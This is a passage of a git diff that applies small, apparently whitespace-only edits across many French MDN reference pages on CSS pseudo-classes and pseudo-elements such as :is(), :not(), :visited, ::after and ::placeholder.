la pseudo-classe `:is()` ne devient pas invalide lorsqu'un des sélecteurs passés en argument n'est pas pris en charge par le navigateur. @@ -234,7 +234,7 @@ h1 { } ``` -Le sélecteur ci-dessus sera analysé sans problème et permettra de cibler `:valid` même si les navigateurs ne prennent pas en charge le sélecteur `:incompatible`. En revanche : +Le sélecteur ci-dessus sera analysé sans problème et permettra de cibler `:valid` même si les navigateurs ne prennent pas en charge le sélecteur `:incompatible`. En revanche : ```css :valid, :incompatible { @@ -242,13 +242,13 @@ Le sélecteur ci-dessus sera analysé sans problème et permettra de cibler `:va } ``` -L'exemple ci-dessus ne sera pas appliqué par les navigateurs qui ne prennent pas en charge `:incompatible`, même si `:valid` est bien pris en charge. +L'exemple ci-dessus ne sera pas appliqué par les navigateurs qui ne prennent pas en charge `:incompatible`, même si `:valid` est bien pris en charge. ## Notes ### Problèmes de performances avec `any():` et la spécificité -{{Bug(561154)}} suit un problème de spécificité relatif à `:-moz-any()`. L'implémentation place `:-moz-any()` dans la catégorie des règles universelles, ce qui signifie que si on l'utilise comme sélecteur le plus à droite, ce sera plus lent que d'utiliser un sélecteur d'identifiant, de classe ou de balise comme premier sélecteur. +{{Bug(561154)}} suit un problème de spécificité relatif à `:-moz-any()`. L'implémentation place `:-moz-any()` dans la catégorie des règles universelles, ce qui signifie que si on l'utilise comme sélecteur le plus à droite, ce sera plus lent que d'utiliser un sélecteur d'identifiant, de classe ou de balise comme premier sélecteur. Ainsi : @@ -282,5 +282,5 @@ et cette dernière version sera plus rapide : ## Voir aussi -- {{CSSxRef(":where", ":where()")}} {{Experimental_Inline}} - se comporte comme `is()`, avec une spécificité nulle +- {{CSSxRef(":where", ":where()")}} {{Experimental_Inline}} - se comporte comme `is()`, avec une spécificité nulle - [Les composants web](/fr/docs/Web/Web_Components) diff --git a/files/fr/web/css/_colon_last-child/index.md b/files/fr/web/css/_colon_last-child/index.md index 97f45b245c..ab13e127a5 100644 --- a/files/fr/web/css/_colon_last-child/index.md +++ b/files/fr/web/css/_colon_last-child/index.md @@ -65,4 +65,4 @@ li:last-child { - {{cssxref(":first-child")}} - {{cssxref(":nth-child")}} - {{cssxref(":last-of-type")}} -- {{CSSxRef(":-moz-last-node")}} {{Non-standard_Inline}} +- {{CSSxRef(":-moz-last-node")}} {{Non-standard_Inline}} diff --git a/files/fr/web/css/_colon_link/index.md b/files/fr/web/css/_colon_link/index.md index 17e37bbabf..c4d6739dc9 100644 --- a/files/fr/web/css/_colon_link/index.md +++ b/files/fr/web/css/_colon_link/index.md @@ -64,7 +64,7 @@ a:link { | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------- | ------------------------------------ | --------------------------------------------------------------------------------------------------------------- | -| {{SpecName('HTML WHATWG', 'scripting.html#selector-link', ':link')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', 'scripting.html#selector-link', ':link')}} | {{Spec2('HTML WHATWG')}} | | | {{SpecName('CSS4 Selectors', '#link', ':link')}} | {{Spec2('CSS4 Selectors')}} | Aucune modification. | | {{SpecName('CSS3 Selectors', '#link', ':link')}} | {{Spec2('CSS3 Selectors')}} | Aucune modification. | | {{SpecName('CSS2.1', 'selector.html#link-pseudo-classes', ':link')}} | {{Spec2('CSS2.1')}} | Levée de la restriction limitant l'utilisation de cette pseudo-classe à l'élément {{HTMLElement("a")}}. | diff --git a/files/fr/web/css/_colon_local-link/index.md b/files/fr/web/css/_colon_local-link/index.md index 585db97844..bbb7009e8d 100644 --- a/files/fr/web/css/_colon_local-link/index.md +++ b/files/fr/web/css/_colon_local-link/index.md @@ -48,4 +48,4 @@ a:local-link { ## Voir aussi -- Pseudo-classes relatives aux liens : {{cssxref(":link")}}, {{cssxref(":visited")}}, {{cssxref(":hover")}}, {{cssxref(":active")}} +- Pseudo-classes relatives aux liens : {{cssxref(":link")}}, {{cssxref(":visited")}}, {{cssxref(":hover")}}, {{cssxref(":active")}} diff --git a/files/fr/web/css/_colon_not/index.md b/files/fr/web/css/_colon_not/index.md index 679a2616ff..45f4c0f620 100644 --- a/files/fr/web/css/_colon_not/index.md +++ b/files/fr/web/css/_colon_not/index.md @@ -25,7 +25,7 @@ La [spécificité](/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance > > - Attention à ne pas écrire de sélecteurs inutiles à l'aide de cette pseudo-classe. Ainsi, `:not(*)` va exclure tous les éléments et ne sera jamais appliqué. > - À l'inverse, il est possible d'augmenter la [spécificitié](/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance) d'un sélecteur. Ainsi. `toto:not(truc)` ciblera les mêmes éléments que `toto`, mais avec une spécificité plus forte. -> - `:not(toto){}` ciblera tout élément qui n'est pas `toto`, **notamment {{HTMLElement("html")}} et {{HTMLElement("body")}}**. +> - `:not(toto){}` ciblera tout élément qui n'est pas `toto`, **notamment {{HTMLElement("html")}} et {{HTMLElement("body")}}**. > - Ce sélecteur ne s'applique qu'à un seul élément. Il ne peut pas être utilisé afin d'exclure tous les ancêtres. Ainsi, `body :not(table) a` s'appliquera aux liens contenus dans un tableau car {{HTMLElement("tr")}} ne sera pas ciblé par la partie `:not()` du sélecteur. ## Syntaxe diff --git a/files/fr/web/css/_colon_nth-last-of-type/index.md b/files/fr/web/css/_colon_nth-last-of-type/index.md index 7c87c93290..fe04b5e476 100644 --- a/files/fr/web/css/_colon_nth-last-of-type/index.md +++ b/files/fr/web/css/_colon_nth-last-of-type/index.md @@ -32,7 +32,7 @@ La pseudo-classe `nth-last-of-type` prend un seul argument qui représente le mo ## Exemples -Ici, on souhaite mettre en avant le deuxième élément {{HTMLElement("span")}} en partant de la fin : +Ici, on souhaite mettre en avant le deuxième élément {{HTMLElement("span")}} en partant de la fin : ### CSS diff --git a/files/fr/web/css/_colon_nth-of-type/index.md b/files/fr/web/css/_colon_nth-of-type/index.md index 0d76ca640d..56404e6f94 100644 --- a/files/fr/web/css/_colon_nth-of-type/index.md +++ b/files/fr/web/css/_colon_nth-of-type/index.md @@ -11,7 +11,7 @@ translation_of: Web/CSS/:nth-of-type --- {{CSSRef}} -La [pseudo-classe](/fr/docs/Web/CSS/Pseudo-classes) **`:nth-of-type()`** correspond à des éléments d'un type donné, en fonction de leur position au sein d'un groupe de frères et sœurs. +La [pseudo-classe](/fr/docs/Web/CSS/Pseudo-classes) **`:nth-of-type()`** correspond à des éléments d'un type donné, en fonction de leur position au sein d'un groupe de frères et sœurs. ```css /* Sélectionne chaque élément de type <p> dont diff --git a/files/fr/web/css/_colon_only-child/index.md b/files/fr/web/css/_colon_only-child/index.md index 9f04b643c6..a4c19c6c39 100644 --- a/files/fr/web/css/_colon_only-child/index.md +++ b/files/fr/web/css/_colon_only-child/index.md @@ -48,11 +48,11 @@ span:only-child { </div> <div> - <span> + <span> Ce span est l'un des deux enfants de son parent </span> - <span> + <span> Ce span est l'un des deux enfants de son parent </span> diff --git a/files/fr/web/css/_colon_optional/index.md b/files/fr/web/css/_colon_optional/index.md index 01d467a2af..78f13cfb6e 100644 --- a/files/fr/web/css/_colon_optional/index.md +++ b/files/fr/web/css/_colon_optional/index.md @@ -9,7 +9,7 @@ translation_of: Web/CSS/:optional --- {{CSSRef}} -La [pseudo-classe](/fr/docs/Web/CSS/Pseudo-classes) **`:optional`** permet de cibler les éléments {{HTMLElement("input")}} ou {{HTMLElement("textarea")}} pour lesquels l'attribut {{htmlattrxref("required","input")}} n'est pas activé. Cela permet ainsi d'indiquer et de mettre en forme les champs facultatifs d'un formulaire. +La [pseudo-classe](/fr/docs/Web/CSS/Pseudo-classes) **`:optional`** permet de cibler les éléments {{HTMLElement("input")}} ou {{HTMLElement("textarea")}} pour lesquels l'attribut {{htmlattrxref("required","input")}} n'est pas activé. Cela permet ainsi d'indiquer et de mettre en forme les champs facultatifs d'un formulaire. ```css /* Cible les élméents <input> qui sont optionnels */ diff --git a/files/fr/web/css/_colon_past/index.md b/files/fr/web/css/_colon_past/index.md index 46d313140c..d44c6cb8fb 100644 --- a/files/fr/web/css/_colon_past/index.md +++ b/files/fr/web/css/_colon_past/index.md @@ -24,7 +24,7 @@ Le sélecteur de [pseudo-classe](/fr/docs/Web/CSS/Pseudo-classes) [CSS](/fr/docs ```css :past(p, span) { - display: none; + display: none; } ``` @@ -33,8 +33,8 @@ Le sélecteur de [pseudo-classe](/fr/docs/Web/CSS/Pseudo-classes) [CSS](/fr/docs ```html <video controls preload="metadata"> <source src="video.mp4" type="video/mp4" /> - <source src="video.webm" type="video/webm" /> - <track label="Français" kind="subtitles" srclang="fr" src="subtitles.vtt" default> + <source src="video.webm" type="video/webm" /> + <track label="Français" kind="subtitles" srclang="fr" src="subtitles.vtt" default> </video> ``` diff --git a/files/fr/web/css/_colon_placeholder-shown/index.md b/files/fr/web/css/_colon_placeholder-shown/index.md index 6bc13d87d0..c05e159f1f 100644 --- a/files/fr/web/css/_colon_placeholder-shown/index.md +++ b/files/fr/web/css/_colon_placeholder-shown/index.md @@ -9,7 +9,7 @@ translation_of: Web/CSS/:placeholder-shown --- {{CSSRef}} -La [pseudo-classe](/fr/docs/Web/CSS/Pseudo-classes) **`:placeholder-shown`** permet de représenter n'importe quel élément {{htmlElement("input")}} ou {{htmlElement("textarea")}} affichant [un texte de substitution](/fr/docs/Web/Guide/HTML/Forms_in_HTML#The_placeholder_attribute). +La [pseudo-classe](/fr/docs/Web/CSS/Pseudo-classes) **`:placeholder-shown`** permet de représenter n'importe quel élément {{htmlElement("input")}} ou {{htmlElement("textarea")}} affichant [un texte de substitution](/fr/docs/Web/Guide/HTML/Forms_in_HTML#The_placeholder_attribute). ```css /* Cible tout élément <input> ou <textarea> avec un */ diff --git a/files/fr/web/css/_colon_right/index.md b/files/fr/web/css/_colon_right/index.md index d869d73b36..12c7a0ae20 100644 --- a/files/fr/web/css/_colon_right/index.md +++ b/files/fr/web/css/_colon_right/index.md @@ -9,7 +9,7 @@ translation_of: Web/CSS/:right --- {{CSSRef}} -La [pseudo-classe](/fr/docs/Web/CSS/Pseudo-classes) **`:right`**, liée à la règle {{cssxref("@page")}}, correspond aux pages de droite pour un média paginé. Ceci permet de mettre en forme les pages de droite. +La [pseudo-classe](/fr/docs/Web/CSS/Pseudo-classes) **`:right`**, liée à la règle {{cssxref("@page")}}, correspond aux pages de droite pour un média paginé. Ceci permet de mettre en forme les pages de droite. ```css /* Sélectionne le contenu des pages droites */ @@ -31,7 +31,7 @@ La position de la page (à gauche ou à droite) dépend de la direction d'écrit ```css @page :right { - margin: 2cm 3cm; + margin: 2cm 3cm; } ``` diff --git a/files/fr/web/css/_colon_target-within/index.md b/files/fr/web/css/_colon_target-within/index.md index c083b22e9a..e87e29f67b 100644 --- a/files/fr/web/css/_colon_target-within/index.md +++ b/files/fr/web/css/_colon_target-within/index.md @@ -30,14 +30,14 @@ La pseudo-classe `:target-within` peut être utilisée pour mettre en avant un a ```html <h3>Table des matières</h3> <ol> - <li><a href="#p1">Aller au premier paragraphe !</a></li> - <li><a href="#p2">Aller au second paragraphe !</a></li> + <li><a href="#p1">Aller au premier paragraphe !</a></li> + <li><a href="#p2">Aller au second paragraphe !</a></li> </ol> <article> <h3>Mon bel article</h3> - <p id="p1">Vous pouvez cibler <i>ce paragraphe</i> en utilisant un fragment d'URL. Cliquez sur le lien ci-dessus pour essayer !</p> - <p id="p2">Ceci est <i>un autre paragraphe</i>, également accessible depuis les liens ci-dessus. N'est-ce pas savoureux ?</p> + <p id="p1">Vous pouvez cibler <i>ce paragraphe</i> en utilisant un fragment d'URL. Cliquez sur le lien ci-dessus pour essayer !</p> + <p id="p2">Ceci est <i>un autre paragraphe</i>, également accessible depuis les liens ci-dessus. N'est-ce pas savoureux ?</p> </article> ``` diff --git a/files/fr/web/css/_colon_target/index.md b/files/fr/web/css/_colon_target/index.md index 5d3ca51a11..b16934c949 100644 --- a/files/fr/web/css/_colon_target/index.md +++ b/files/fr/web/css/_colon_target/index.md @@ -9,7 +9,7 @@ translation_of: Web/CSS/:target --- {{CSSRef}} -La [pseudo-classe](/fr/docs/Web/CSS/Pseudo-classes) **`:target`** permet de cibler l'unique élément (s'il existe) dont l'attribut {{htmlattrxref("id")}} correspond au fragment d'identifiant de l'URI du document. +La [pseudo-classe](/fr/docs/Web/CSS/Pseudo-classes) **`:target`** permet de cibler l'unique élément (s'il existe) dont l'attribut {{htmlattrxref("id")}} correspond au fragment d'identifiant de l'URI du document. ```css /* Cible un élément dont l'identifiant */ @@ -82,9 +82,9 @@ La pseudo-classe `:target` s'accommode également des éléments qui ne sont pas ```html <p><a href="#newcomment">Ajouter un commentaire</a></p> <div id="newcomment"> - <form> - <p>Saisir un commentaire :<br /> - <textarea></textarea></p> + <form> + <p>Saisir un commentaire :<br /> + <textarea></textarea></p> </form> </div> ``` diff --git a/files/fr/web/css/_colon_visited/index.md b/files/fr/web/css/_colon_visited/index.md index 2de38cc227..d0aa46737a 100644 --- a/files/fr/web/css/_colon_visited/index.md +++ b/files/fr/web/css/_colon_visited/index.md @@ -17,13 +17,13 @@ a:visited { } ``` -Cette mise en forme peut être écrasée par toute autre pseudo-classe liée aux liens ({{cssxref(":link")}}, {{cssxref(":hover")}}, et {{cssxref(":active")}}) qui apparaîtrait dans les règles CSS suivantes. Il est donc important de bien ordonner les pseudo-classes pour une bonne mise en forme : `:visited` doit être utilisée après une règle basée sur `:link`, mais avant les autres (`:link` — `:visited` — `:hover` — `:active`). +Cette mise en forme peut être écrasée par toute autre pseudo-classe liée aux liens ({{cssxref(":link")}}, {{cssxref(":hover")}}, et {{cssxref(":active")}}) qui apparaîtrait dans les règles CSS suivantes. Il est donc important de bien ordonner les pseudo-classes pour une bonne mise en forme : `:visited` doit être utilisée après une règle basée sur `:link`, mais avant les autres (`:link` — `:visited` — `:hover` — `:active`). ## Restrictions Pour des raisons de vie privée, les navigateurs limitent les propriétés qui peuvent être appliquées à cette pseudo-classe : -- Les propriétés CSS autorisées sont {{cssxref("color")}}, {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("border-bottom-color")}}, {{cssxref("border-left-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-top-color")}}, {{cssxref("outline-color")}}, {{cssxref("column-rule-color")}} +- Les propriétés CSS autorisées sont {{cssxref("color")}}, {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("border-bottom-color")}}, {{cssxref("border-left-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-top-color")}}, {{cssxref("outline-color")}}, {{cssxref("column-rule-color")}} - Les attributs SVG autorisés sont {{SVGAttr("fill")}} and {{SVGAttr("stroke")}}. - La composante alpha sera ignorée : la composante alpha d'un lien non-visité est utilisé à la place (sauf quand l'opacité est `0`, dans ce cas, toute la couleur est ignorée, ainsi que celle de la règle non-visité). - Bien qu'on puisse modifier la couleur d'un lien, la méthode {{domxref("window.getComputedStyle")}} mentira et indiquera toujours la valeur de la couleur de la règle pour les liens non-visités. diff --git a/files/fr/web/css/_colon_where/index.md b/files/fr/web/css/_colon_where/index.md index 2ebec4bdd2..d96f066576 100644 --- a/files/fr/web/css/_colon_where/index.md +++ b/files/fr/web/css/_colon_where/index.md @@ -31,5 +31,5 @@ La différence entre `:where()` et {{CSSxRef(":is", ":is()")}} est la suivante : ## Voir aussi -- {{CSSxRef(":is", ":is()")}} {{Experimental_Inline}} +- {{CSSxRef(":is", ":is()")}} {{Experimental_Inline}} - [Les composants web](/fr/docs/Web/Web_Components) diff --git a/files/fr/web/css/_doublecolon_-moz-color-swatch/index.md b/files/fr/web/css/_doublecolon_-moz-color-swatch/index.md index 6003a42e0c..1437195349 100644 --- a/files/fr/web/css/_doublecolon_-moz-color-swatch/index.md +++ b/files/fr/web/css/_doublecolon_-moz-color-swatch/index.md @@ -12,7 +12,7 @@ translation_of: Web/CSS/::-moz-color-swatch Le [pseudo-élément](/fr/docs/Web/CSS/Pseudo-elements) **`::-moz-color-swatch`** est [un pseudo-élément spécifique à Mozilla](/fr/docs/Web/CSS/Extensions_Mozilla) qui représente la couleur sélectionnée d'un élément {{HTMLElement("input")}} avec `type="color"`. -> **Note :** Utiliser `::-moz-color-swatch` sur tout autre élément qu'un `<input type="color">` n'aura aucun effet. +> **Note :** Utiliser `::-moz-color-swatch` sur tout autre élément qu'un `<input type="color">` n'aura aucun effet. ## Syntax diff --git a/files/fr/web/css/_doublecolon_-webkit-inner-spin-button/index.md b/files/fr/web/css/_doublecolon_-webkit-inner-spin-button/index.md index 3c000979d9..e01f931059 100644 --- a/files/fr/web/css/_doublecolon_-webkit-inner-spin-button/index.md +++ b/files/fr/web/css/_doublecolon_-webkit-inner-spin-button/index.md @@ -44,4 +44,4 @@ Ce pseudo-élément est un pseudo-élément propriétaire lié à WebKit/Blink e - {{cssxref("::-webkit-outer-spin-button")}} - {{cssxref("::-webkit-textfield-decoration-container")}} -- [Mettre en forme les contrôles de formulaires – WebKit (en anglais)](https://trac.webkit.org/wiki/Styling%20Form%20Controls#inputelement) +- [Mettre en forme les contrôles de formulaires – WebKit (en anglais)](https://trac.webkit.org/wiki/Styling%20Form%20Controls#inputelement) diff --git a/files/fr/web/css/_doublecolon_-webkit-progress-value/index.md b/files/fr/web/css/_doublecolon_-webkit-progress-value/index.md index 0b9d310140..0d300c9bf4 100644 --- a/files/fr/web/css/_doublecolon_-webkit-progress-value/index.md +++ b/files/fr/web/css/_doublecolon_-webkit-progress-value/index.md @@ -20,11 +20,11 @@ Le pseudo-élément **`::-webkit-progress-value`** permet de représenter la por ```css progress { - -webkit-appearance: none; + -webkit-appearance: none; } ::-webkit-progress-value { - background-color: orange; + background-color: orange; } ``` diff --git a/files/fr/web/css/_doublecolon_after/index.md b/files/fr/web/css/_doublecolon_after/index.md index 9df2d0d767..584a693711 100644 --- a/files/fr/web/css/_doublecolon_after/index.md +++ b/files/fr/web/css/_doublecolon_after/index.md @@ -11,7 +11,7 @@ translation_of: Web/CSS/::after --- {{CSSRef}} -En CSS, **`::after`** crée un [pseudo-élément](/fr/docs/Web/CSS/Pseudo-elements) qui sera le dernier enfant de l'élément sélectionné. Il est souvent utilisé pour ajouter du contenu cosmétique à un élément, en utilisant la propriété CSS {{cssxref("content")}}. Par défaut, ce contenu est de type « [en ligne](/fr/Apprendre/CSS/Introduction_à_CSS/Le_modèle_de_boîte#Les_types_de_boîte) ». +En CSS, **`::after`** crée un [pseudo-élément](/fr/docs/Web/CSS/Pseudo-elements) qui sera le dernier enfant de l'élément sélectionné. Il est souvent utilisé pour ajouter du contenu cosmétique à un élément, en utilisant la propriété CSS {{cssxref("content")}}. Par défaut, ce contenu est de type « [en ligne](/fr/Apprendre/CSS/Introduction_à_CSS/Le_modèle_de_boîte#Les_types_de_boîte) ». ```css /* Ajoute une flèche après les liens */ @@ -20,19 +20,19 @@ a:after { } ``` -> **Note :** les pseudo-éléments générés par `::before` et `::after` sont [contenus dans la boîte de mise en forme de l'élément](https://www.w3.org/TR/CSS2/generate.html#before-after-content). Aussi, `::before` et `::after` ne s'appliquent pas aux *[éléments remplacés](/fr/docs/Web/CSS/Élément_remplacé)* tels que les éléments {{HTMLElement("img")}} ou {{HTMLElement("br")}}. +> **Note :** les pseudo-éléments générés par `::before` et `::after` sont [contenus dans la boîte de mise en forme de l'élément](https://www.w3.org/TR/CSS2/generate.html#before-after-content). Aussi, `::before` et `::after` ne s'appliquent pas aux *[éléments remplacés](/fr/docs/Web/CSS/Élément_remplacé)* tels que les éléments {{HTMLElement("img")}} ou {{HTMLElement("br")}}. ## Syntaxe {{csssyntax}} -> **Note :** CSS3 a introduit la notation `::after` (avec deux deux-points) pour distinguer les [pseudo-classes](/fr/docs/Web/CSS/Pseudo-classes) des [pseudo-éléments](/fr/docs/Web/CSS/Pseudo-éléments). Les navigateurs acceptent aussi`:after`, introduite dans CSS2. +> **Note :** CSS3 a introduit la notation `::after` (avec deux deux-points) pour distinguer les [pseudo-classes](/fr/docs/Web/CSS/Pseudo-classes) des [pseudo-éléments](/fr/docs/Web/CSS/Pseudo-éléments). Les navigateurs acceptent aussi`:after`, introduite dans CSS2. ## Exemples ### Utilisation simple -Nous allons ici créer deux classes : une pour les paragraphes ennuyeux et une pour les intéressants. Nous marquerons ensuite chacun de ces paragraphes en ajoutant un pseudo-élément après chacun d’eux. +Nous allons ici créer deux classes : une pour les paragraphes ennuyeux et une pour les intéressants. Nous marquerons ensuite chacun de ces paragraphes en ajoutant un pseudo-élément après chacun d’eux. #### HTML diff --git a/files/fr/web/css/_doublecolon_first-letter/index.md b/files/fr/web/css/_doublecolon_first-letter/index.md index 9527c6b0a9..1adb0c69cd 100644 --- a/files/fr/web/css/_doublecolon_first-letter/index.md +++ b/files/fr/web/css/_doublecolon_first-letter/index.md @@ -9,7 +9,7 @@ translation_of: Web/CSS/::first-letter --- {{CSSRef}} -Le [pseudo-élément](/fr/docs/Web/CSS/Pseudo-elements) **`::first-letter`** sélectionne la première lettre de la première ligne d'un bloc, si elle n'est pas précédée par un quelconque autre contenu (comme une image ou un tableau en ligne) sur sa ligne. +Le [pseudo-élément](/fr/docs/Web/CSS/Pseudo-elements) **`::first-letter`** sélectionne la première lettre de la première ligne d'un bloc, si elle n'est pas précédée par un quelconque autre contenu (comme une image ou un tableau en ligne) sur sa ligne. ```css /* Sélectionne la première lettre */ @@ -59,7 +59,7 @@ Seul un petit sous-groupe de propriétés CSS peuvent être utilisées dans un b - Toutes les propriétés liées à `padding` : {{cssxref("padding")}}, {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}}, {{cssxref("padding-left")}}. - Toutes les propriétés liées aux bordures : les raccourcis {{cssxref("border")}}, {{cssxref("border-style")}}, {{cssxref("border-color")}}, {{cssxref("border-width")}}, {{cssxref("border-radius")}}, {{cssxref("border-image")}}, et les propriétés détaillées. - La propriété {{cssxref("color")}} . -- Les propriétés {{cssxref("text-decoration")}}, {{cssxref("text-shadow")}}, {{cssxref("text-transform")}}, {{cssxref("letter-spacing")}}, {{cssxref("word-spacing")}} (lorsqu'approprié), {{cssxref("line-height")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-style")}}, {{cssxref("box-shadow")}}, {{cssxref("float")}}, {{cssxref("vertical-align")}} (seulement si `float` vaut `none`). +- Les propriétés {{cssxref("text-decoration")}}, {{cssxref("text-shadow")}}, {{cssxref("text-transform")}}, {{cssxref("letter-spacing")}}, {{cssxref("word-spacing")}} (lorsqu'approprié), {{cssxref("line-height")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-style")}}, {{cssxref("box-shadow")}}, {{cssxref("float")}}, {{cssxref("vertical-align")}} (seulement si `float` vaut `none`). Puisque cette liste sera complétée dans l'avenir, il est recommandé de ne pas utiliser d'autres propriétés dans un bloc de déclaration, de manière à concevoir un CSS pérenne. diff --git a/files/fr/web/css/_doublecolon_first-line/index.md b/files/fr/web/css/_doublecolon_first-line/index.md index 6fadbb0d69..8041e157fc 100644 --- a/files/fr/web/css/_doublecolon_first-line/index.md +++ b/files/fr/web/css/_doublecolon_first-line/index.md @@ -28,7 +28,7 @@ Seul un sous-ensemble de propriétés CSS peut être utilisé dans un bloc de d - Toutes les propriétés liées aux polices de caractères : {{cssxref("font")}}, {{cssxref("font-kerning")}}, {{cssxref("font-style")}}, {{cssxref("font-variant")}}, {{cssxref("font-variant-numeric")}}, {{cssxref("font-variant-position")}}, {{cssxref("font-variant-east-asian")}}, {{cssxref("font-variant-caps")}}, {{cssxref("font-variant-alternates")}}, {{cssxref("font-variant-ligatures")}}, {{cssxref("font-synthesis")}}, {{cssxref("font-feature-settings")}}, {{cssxref("font-language-override")}}, {{cssxref("font-weight")}}, {{cssxref("font-size")}}, {{cssxref("font-size-adjust")}}, {{cssxref("font-stretch")}} et {{cssxref("font-family")}} - La propriété {{cssxref("color")}} -- Toutes les propriétés liées à l'arrière-plan : {{cssxref("background-color")}}, {{cssxref("background-clip")}}, {{cssxref("background-image")}}, {{cssxref("background-origin")}}, {{cssxref("background-position")}}, {{cssxref("background-repeat")}}, {{cssxref("background-size")}}, {{cssxref("background-attachment")}} et {{cssxref("background-blend-mode")}} +- Toutes les propriétés liées à l'arrière-plan : {{cssxref("background-color")}}, {{cssxref("background-clip")}}, {{cssxref("background-image")}}, {{cssxref("background-origin")}}, {{cssxref("background-position")}}, {{cssxref("background-repeat")}}, {{cssxref("background-size")}}, {{cssxref("background-attachment")}} et {{cssxref("background-blend-mode")}} - {{cssxref("word-spacing")}}, {{cssxref("letter-spacing")}}, {{cssxref("text-decoration")}}, {{cssxref("text-transform")}} et {{cssxref("line-height")}} - {{cssxref("text-shadow")}}, {{cssxref("text-decoration")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-style")}} et {{cssxref("vertical-align")}}. diff --git a/files/fr/web/css/_doublecolon_part/index.md b/files/fr/web/css/_doublecolon_part/index.md index 190d0fb172..8d928ebd60 100644 --- a/files/fr/web/css/_doublecolon_part/index.md +++ b/files/fr/web/css/_doublecolon_part/index.md @@ -30,7 +30,7 @@ custom-element::part(foo) { ### `<tabbed-custom-element>` -#### Arbre fantôme `<tabbed-custom-element>` +#### Arbre fantôme `<tabbed-custom-element>` ```html <style type="text/css"> @@ -85,7 +85,7 @@ tabbed-custom-element::part(active tab) { ## Spécifications -| Spécification | État | Commentaires | +| Spécification | État | Commentaires | | -------------------------------------------------------------------- | ---------------------------------------- | -------------------- | | {{SpecName("CSS Shadow Parts", "#part", "::part")}} | {{Spec2("CSS Shadow Parts")}} | Définition initiale. | @@ -95,6 +95,6 @@ tabbed-custom-element::part(active tab) { ## Voir aussi -- L’attribut {{HTMLAttrxRef("part")}} - Utilisé pour définir des parties qui peuvent être sélectionnées par le sélecteur `::part()` +- L’attribut {{HTMLAttrxRef("part")}} - Utilisé pour définir des parties qui peuvent être sélectionnées par le sélecteur `::part()` - L'attribut {{HTMLattrxref("exportparts")}} qui est utilisé pour exporter les parties d'un arbre _shadow_ imbriqué vers un arbre classique - [Utilisation de CSS Shadow : `::part` et `::theme`](https://github.com/fergald/docs/blob/master/explainers/css-shadow-parts-1.md) diff --git a/files/fr/web/css/_doublecolon_placeholder/index.md b/files/fr/web/css/_doublecolon_placeholder/index.md index e5a5a5f7bd..c5e708bbb1 100644 --- a/files/fr/web/css/_doublecolon_placeholder/index.md +++ b/files/fr/web/css/_doublecolon_placeholder/index.md @@ -22,7 +22,7 @@ Seul un sous-ensemble des propriétés CSS peut être utilisé avec un sélecteu - Toutes les propriétés liées aux polices de caractères : {{cssxref("font")}}, {{cssxref("font-kerning")}}, {{cssxref("font-style")}}, {{cssxref("font-variant")}}, {{cssxref("font-variant-numeric")}}, {{cssxref("font-variant-position")}}, {{cssxref("font-variant-east-asian")}}, {{cssxref("font-variant-caps")}}, {{cssxref("font-variant-alternates")}}, {{cssxref("font-variant-ligatures")}}, {{cssxref("font-synthesis")}}, {{cssxref("font-feature-settings")}}, {{cssxref("font-language-override")}}, {{cssxref("font-weight")}}, {{cssxref("font-size")}}, {{cssxref("font-size-adjust")}}, {{cssxref("font-stretch")}} et {{cssxref("font-family")}} - La propriété {{cssxref("color")}} -- Toutes les propriétés liées à l'arrière-plan : {{cssxref("background-color")}}, {{cssxref("background-clip")}}, {{cssxref("background-image")}}, {{cssxref("background-origin")}}, {{cssxref("background-position")}}, {{cssxref("background-repeat")}}, {{cssxref("background-size")}}, {{cssxref("background-attachment")}} et {{cssxref("background-blend-mode")}} +- Toutes les propriétés liées à l'arrière-plan : {{cssxref("background-color")}}, {{cssxref("background-clip")}}, {{cssxref("background-image")}}, {{cssxref("background-origin")}}, {{cssxref("background-position")}}, {{cssxref("background-repeat")}}, {{cssxref("background-size")}}, {{cssxref("background-attachment")}} et {{cssxref("background-blend-mode")}} - {{cssxref("word-spacing")}}, {{cssxref("letter-spacing")}}, {{cssxref("text-decoration")}}, {{cssxref("text-transform")}} et {{cssxref("line-height")}} - {{cssxref("text-shadow")}}, {{cssxref("text-decoration")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-style")}} et {{cssxref("vertical-align")}}. @@ -38,7 +38,7 @@ Seul un sous-ensemble des propriétés CSS peut être utilisé avec un sélecteu ```css input::placeholder { - color: red; + color: red; } ``` diff --git a/files/fr/web/css/_doublecolon_slotted/index.md b/files/fr/web/css/_doublecolon_slotted/index.md index 1f7e5f9bc4..8c30297085 100644 --- a/files/fr/web/css/_doublecolon_slotted/index.md +++ b/files/fr/web/css/_doublecolon_slotted/index.md @@ -17,12 +17,12 @@ Cela ne fonctionne que pour du CSS placé à l'intérieur d'un élément {{htmle ```css /* Cible n'importe quel élément placé dans un emplacement */ ::slotted(*) { - font-weight: bold; + font-weight: bold; } /* Cible n'importe quel élément <span> placé dans un emplacement */ ::slotted(span) { - font-weight: bold; + font-weight: bold; } ``` diff --git a/files/fr/web/css/_doublecolon_target-text/index.md b/files/fr/web/css/_doublecolon_target-text/index.md index 77125839b7..61a88952b9 100644 --- a/files/fr/web/css/_doublecolon_target-text/index.md +++ b/files/fr/web/css/_doublecolon_target-text/index.md @@ -10,7 +10,7 @@ Le [pseudo-élément](/fr/docs/Web/CSS/Pseudo-elements) [CSS](/en-US/docs/Web/CS ```css ::target-text { - background-color: pink; + background-color: pink; } ``` diff --git a/files/fr/web/css/accent-color/index.md b/files/fr/web/css/accent-color/index.md index 3b1da90c80..8d4ecd66fa 100644 --- a/files/fr/web/css/accent-color/index.md +++ b/files/fr/web/css/accent-color/index.md @@ -85,4 +85,4 @@ input.custom { - L'élément {{HTMLElement("input")}} - [Appliquer des couleurs aux éléments 